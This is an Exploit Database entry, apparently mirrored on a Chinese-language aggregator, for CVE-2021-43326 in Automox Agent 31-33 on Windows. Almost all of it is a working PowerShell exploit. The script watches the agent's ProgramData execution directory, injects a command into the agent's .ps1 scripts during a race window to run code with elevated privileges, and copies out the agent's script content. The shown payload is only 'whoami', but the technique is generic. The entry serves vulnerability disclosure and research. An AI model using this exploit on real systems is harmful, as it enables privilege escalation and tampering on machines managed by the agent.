Automox Agent 32 – Local Privilege Escalation

• Exploit Database
• 36 阅读

• 作者： Greg Foss
  日期： 2022-01-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50642/

• # Exploit Title: Automox Agent 32 - Local Privilege Escalation
  # Date: 13/12/2021
  # Exploit Author: Greg Foss
  # Writeup: https://www.lacework.com/blog/cve-2021-43326/
  # Vendor Homepage: https://www.automox.com/
  # Software Link: https://support.automox.com/help/agents
  # Version: 31, 32, 33
  # Tested on: Windows 10
  # Language: PowerShell
  # CVE: CVE-2021-43326
  
  New-Item -ItemType Directory -Force -Path $HOME\Desktop\automox\
  $payload = "whoami >> $HOME\Desktop\automox\who.txt"
  echo ""
  echo "Watching for Automox agent interaction..."
  echo ""
  for (($i = 0); $i -lt 500; $i++) {
  if (Test-Path -Path \ProgramData\amagent\execDir*\*.ps1) {
  try {
  $dir = Get-ChildItem \ProgramData\amagent\execDir* | Select-Object Name
  $dir = $dir.name
  $file = Get-ChildItem \ProgramData\amagent\$dir\*.ps1 | Select-Object Name
  $file = $file.name
  (Get-Content -Path \ProgramData\amagent\$dir\$file -Raw) -replace "#endregion", "$payload" | Set-Content -Path \ProgramData\amagent\$dir\$file
  cp -r \ProgramData\amagent\$dir $HOME\Desktop\automox\
  echo 'popped :-)'
  Start-Sleep 5
  echo ''
  echo 'cloning all powershell script content...'
  for (($i = 0); $i -lt 100; $i++) {
  cp -r \ProgramData\amagent\* $HOME\Desktop\automox\ -Force
  Start-Sleep 1
  }
  exit
  } catch {
  throw $_.Exception.Message
  }
  } else {
  echo $i
  Start-Sleep 1
  }
  }